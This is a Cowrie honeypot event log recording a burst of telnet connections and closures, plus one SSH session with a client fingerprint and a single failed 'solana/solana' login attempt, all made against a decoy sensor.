{"eventid":"cowrie.session.closed","duration":30.977730989456177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:36.611039Z","src_ip":"162.55.233.176","session":"b0c9918ad8b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.27086353302002,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:36.900610Z","src_ip":"162.55.233.176","session":"a0d73ecb4643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53874,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb4cb0496d0","protocol":"telnet","message":"New connection: 162.55.233.176:53874 (159.203.135.109:23) [session: cdb4cb0496d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:37.569062Z"}
{"eventid":"cowrie.session.closed","duration":33.59404993057251,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:38.017192Z","src_ip":"162.55.233.176","session":"00556220972a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.215042591094971,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:38.485919Z","src_ip":"162.55.233.176","session":"745bd5645f5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53886,"dst_ip":"159.203.135.109","dst_port":23,"session":"07a83a667735","protocol":"telnet","message":"New connection: 162.55.233.176:53886 (159.203.135.109:23) [session: 07a83a667735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:39.295887Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53890,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1c5c356c647","protocol":"telnet","message":"New connection: 162.55.233.176:53890 (159.203.135.109:23) [session: a1c5c356c647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:39.674681Z"}
{"eventid":"cowrie.session.closed","duration":35.86809706687927,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:39.885338Z","src_ip":"162.55.233.176","session":"474b43f55681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49806,"dst_ip":"10.17.0.5","dst_port":23,"session":"9308cee40858","protocol":"telnet","message":"New connection: 206.189.32.23:49806 (10.17.0.5:23) [session: 9308cee40858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:41.257906Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53900,"dst_ip":"159.203.135.109","dst_port":23,"session":"60db88ba7b78","protocol":"telnet","message":"New connection: 162.55.233.176:53900 (159.203.135.109:23) [session: 60db88ba7b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:41.486586Z"}
{"eventid":"cowrie.session.closed","duration":31.159464359283447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:42.645153Z","src_ip":"162.55.233.176","session":"2d8bcbc02898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.57635545730591,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:43.007169Z","src_ip":"206.189.32.23","session":"306b15a80a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46290,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1d628832599","protocol":"telnet","message":"New connection: 162.55.233.176:46290 (159.203.135.109:23) [session: f1d628832599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:43.069391Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46298,"dst_ip":"159.203.135.109","dst_port":23,"session":"385e8697d87e","protocol":"telnet","message":"New connection: 162.55.233.176:46298 (159.203.135.109:23) [session: 385e8697d87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:43.603946Z"}
{"eventid":"cowrie.session.closed","duration":34.10079050064087,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:44.573986Z","src_ip":"162.55.233.176","session":"1a629e369061","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54474,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cb022b2d25e","protocol":"telnet","message":"New connection: 206.189.32.23:54474 (10.17.0.5:23) [session: 9cb022b2d25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:44.620414Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48366,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec09516a8647","protocol":"telnet","message":"New connection: 188.208.141.113:48366 (10.17.0.5:23) [session: ec09516a8647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:45.353653Z"}
{"eventid":"cowrie.session.closed","duration":35.090123414993286,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:45.459217Z","src_ip":"162.55.233.176","session":"118ec48e18d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.738237142562866,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:46.179740Z","src_ip":"162.55.233.176","session":"b869496ff4a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46314,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9b9f7170bb6","protocol":"telnet","message":"New connection: 162.55.233.176:46314 (159.203.135.109:23) [session: e9b9f7170bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:47.213532Z"}
{"eventid":"cowrie.session.closed","duration":33.75533485412598,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:47.633078Z","src_ip":"162.55.233.176","session":"94ab25f3a356","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848734855651855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:47.763921Z","src_ip":"162.55.233.176","session":"4ba08d6e50d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46324,"dst_ip":"159.203.135.109","dst_port":23,"session":"988c6844a642","protocol":"telnet","message":"New connection: 162.55.233.176:46324 (159.203.135.109:23) [session: 988c6844a642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:48.024332Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46340,"dst_ip":"159.203.135.109","dst_port":23,"session":"43f02db14060","protocol":"telnet","message":"New connection: 162.55.233.176:46340 (159.203.135.109:23) [session: 43f02db14060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:48.709741Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46348,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd7ca55fe604","protocol":"telnet","message":"New connection: 162.55.233.176:46348 (159.203.135.109:23) [session: dd7ca55fe604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:49.169772Z"}
{"eventid":"cowrie.session.closed","duration":31.418317794799805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:49.339586Z","src_ip":"162.55.233.176","session":"c159b72932d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.77192807197571,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:49.360234Z","src_ip":"162.55.233.176","session":"dbba6003ba97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76810336112976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:49.648091Z","src_ip":"162.55.233.176","session":"21887dee225a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.451514005661011,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:49.805071Z","src_ip":"188.208.141.113","session":"ec09516a8647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.65363264083862,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:50.246870Z","src_ip":"188.208.141.113","session":"a953aa9ea532","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.702013969421387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:50.412135Z","src_ip":"162.55.233.176","session":"9752cd5a754c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46364,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f232cfe142e","protocol":"telnet","message":"New connection: 162.55.233.176:46364 (159.203.135.109:23) [session: 0f232cfe142e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:50.538516Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46366,"dst_ip":"159.203.135.109","dst_port":23,"session":"30fa8b560fe7","protocol":"telnet","message":"New connection: 162.55.233.176:46366 (159.203.135.109:23) [session: 30fa8b560fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:50.847482Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46368,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e6107800220","protocol":"telnet","message":"New connection: 162.55.233.176:46368 (159.203.135.109:23) [session: 5e6107800220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:51.948932Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46376,"dst_ip":"159.203.135.109","dst_port":23,"session":"25b93d4c817f","protocol":"telnet","message":"New connection: 162.55.233.176:46376 (159.203.135.109:23) [session: 25b93d4c817f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:52.111375Z"}
{"eventid":"cowrie.session.closed","duration":31.733911514282227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:52.114987Z","src_ip":"162.55.233.176","session":"63860c15bf3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60270,"dst_ip":"10.17.0.5","dst_port":22,"session":"268f64b3f244","protocol":"ssh","message":"New connection: 2.57.122.238:60270 (10.17.0.5:22) [session: 268f64b3f244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:52.180129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:52.186158Z","src_ip":"2.57.122.238","session":"268f64b3f244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:52.289571Z","src_ip":"2.57.122.238","session":"268f64b3f244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:52.590294Z","src_ip":"2.57.122.238","session":"268f64b3f244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46386,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3def33fea3b","protocol":"telnet","message":"New connection: 162.55.233.176:46386 (159.203.135.109:23) [session: d3def33fea3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:52.842227Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:53.693078Z","src_ip":"2.57.122.238","session":"268f64b3f244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.608832597732544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:53.713937Z","src_ip":"162.55.233.176","session":"c3acd2be0c01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35878,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed58c4e5d331","protocol":"telnet","message":"New connection: 162.55.233.176:35878 (159.203.135.109:23) [session: ed58c4e5d331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:53.870635Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35886,"dst_ip":"159.203.135.109","dst_port":23,"session":"40d5fbe23972","protocol":"telnet","message":"New connection: 162.55.233.176:35886 (159.203.135.109:23) [session: 40d5fbe23972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:54.047251Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35898,"dst_ip":"159.203.135.109","dst_port":23,"session":"6589da2973ac","protocol":"telnet","message":"New connection: 162.55.233.176:35898 (159.203.135.109:23) [session: 6589da2973ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:54.313795Z"}
{"eventid":"cowrie.session.closed","duration":36.26752042770386,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:55.152985Z","src_ip":"162.55.233.176","session":"75271f4e389f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.711289405822754,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:55.620557Z","src_ip":"206.189.32.23","session":"a148171a9119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.24.188.54","src_port":46034,"dst_ip":"159.203.135.109","dst_port":23,"session":"68fce8301002","protocol":"telnet","message":"New connection: 179.24.188.54:46034 (159.203.135.109:23) [session: 68fce8301002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:56.074387Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35908,"dst_ip":"159.203.135.109","dst_port":23,"session":"e223ef790af7","protocol":"telnet","message":"New connection: 162.55.233.176:35908 (159.203.135.109:23) [session: e223ef790af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:58.139352Z"}
{"eventid":"cowrie.session.closed","duration":34.04251527786255,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:59.512874Z","src_ip":"162.55.233.176","session":"33d3b2eefe4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.56601881980896,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:12:59.948087Z","src_ip":"162.55.233.176","session":"9fd7abc9ee4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43738,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f93f63dae08","protocol":"telnet","message":"New connection: 206.189.32.23:43738 (10.17.0.5:23) [session: 7f93f63dae08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:01.233425Z"}
{"eventid":"cowrie.session.closed","duration":35.771628618240356,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:01.255996Z","src_ip":"162.55.233.176","session":"97232ccccf5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35912,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d9f2008f029","protocol":"telnet","message":"New connection: 162.55.233.176:35912 (159.203.135.109:23) [session: 7d9f2008f029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:01.788346Z"}
{"eventid":"cowrie.session.closed","duration":32.23147988319397,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:01.808448Z","src_ip":"162.55.233.176","session":"36e436d1b783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959227800369263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:02.878738Z","src_ip":"162.55.233.176","session":"52c8ea63d9e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.242151498794556,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:03.182973Z","src_ip":"188.208.141.113","session":"5eac616b599c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44256,"dst_ip":"159.203.135.109","dst_port":23,"session":"69e3e87923e9","protocol":"telnet","message":"New connection: 162.55.233.176:44256 (159.203.135.109:23) [session: 69e3e87923e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:04.681151Z"}
{"eventid":"cowrie.session.closed","duration":32.56211829185486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:04.716643Z","src_ip":"162.55.233.176","session":"a9b351c16a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44264,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8d539d44ed5","protocol":"telnet","message":"New connection: 162.55.233.176:44264 (159.203.135.109:23) [session: c8d539d44ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:05.466147Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44268,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fc0cef9462e","protocol":"telnet","message":"New connection: 162.55.233.176:44268 (159.203.135.109:23) [session: 4fc0cef9462e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:05.720156Z"}
{"eventid":"cowrie.session.closed","duration":31.81977081298828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:05.777984Z","src_ip":"162.55.233.176","session":"0cf1a8a58bad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39616,"dst_ip":"10.17.0.5","dst_port":23,"session":"62b5a990c197","protocol":"telnet","message":"New connection: 188.208.141.113:39616 (10.17.0.5:23) [session: 62b5a990c197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:06.854635Z"}
{"eventid":"cowrie.session.closed","duration":31.50005340576172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:07.238968Z","src_ip":"162.55.233.176","session":"abfa6c8100c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.87855863571167,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:07.435820Z","src_ip":"162.55.233.176","session":"7180bcbf282b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44276,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8fa0d7dc390","protocol":"telnet","message":"New connection: 162.55.233.176:44276 (159.203.135.109:23) [session: d8fa0d7dc390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:07.667870Z"}
{"eventid":"cowrie.session.closed","duration":32.563257694244385,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:07.922512Z","src_ip":"162.55.233.176","session":"763b87a409ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44292,"dst_ip":"159.203.135.109","dst_port":23,"session":"1417bb183c24","protocol":"telnet","message":"New connection: 162.55.233.176:44292 (159.203.135.109:23) [session: 1417bb183c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:08.321720Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44308,"dst_ip":"159.203.135.109","dst_port":23,"session":"db7f562b4c3f","protocol":"telnet","message":"New connection: 162.55.233.176:44308 (159.203.135.109:23) [session: db7f562b4c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:08.711284Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39628,"dst_ip":"10.17.0.5","dst_port":23,"session":"02ced0ffc4ac","protocol":"telnet","message":"New connection: 188.208.141.113:39628 (10.17.0.5:23) [session: 02ced0ffc4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:09.338636Z"}
{"eventid":"cowrie.session.closed","duration":34.988768339157104,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:09.502141Z","src_ip":"162.55.233.176","session":"1cc94f18c17f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.444082021713257,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:09.518360Z","src_ip":"179.24.188.54","session":"68fce8301002","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44314,"dst_ip":"159.203.135.109","dst_port":23,"session":"08fd6daf01e5","protocol":"telnet","message":"New connection: 162.55.233.176:44314 (159.203.135.109:23) [session: 08fd6daf01e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:09.874153Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44324,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2bb55e3716e","protocol":"telnet","message":"New connection: 162.55.233.176:44324 (159.203.135.109:23) [session: a2bb55e3716e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:11.290571Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44338,"dst_ip":"159.203.135.109","dst_port":23,"session":"78d5999f61f4","protocol":"telnet","message":"New connection: 162.55.233.176:44338 (159.203.135.109:23) [session: 78d5999f61f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:12.799935Z"}
{"eventid":"cowrie.session.closed","duration":37.89644646644592,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:13:13.293507Z","src_ip":"162.55.233.176","session":"26ca34135756","protocol":"telnet"}
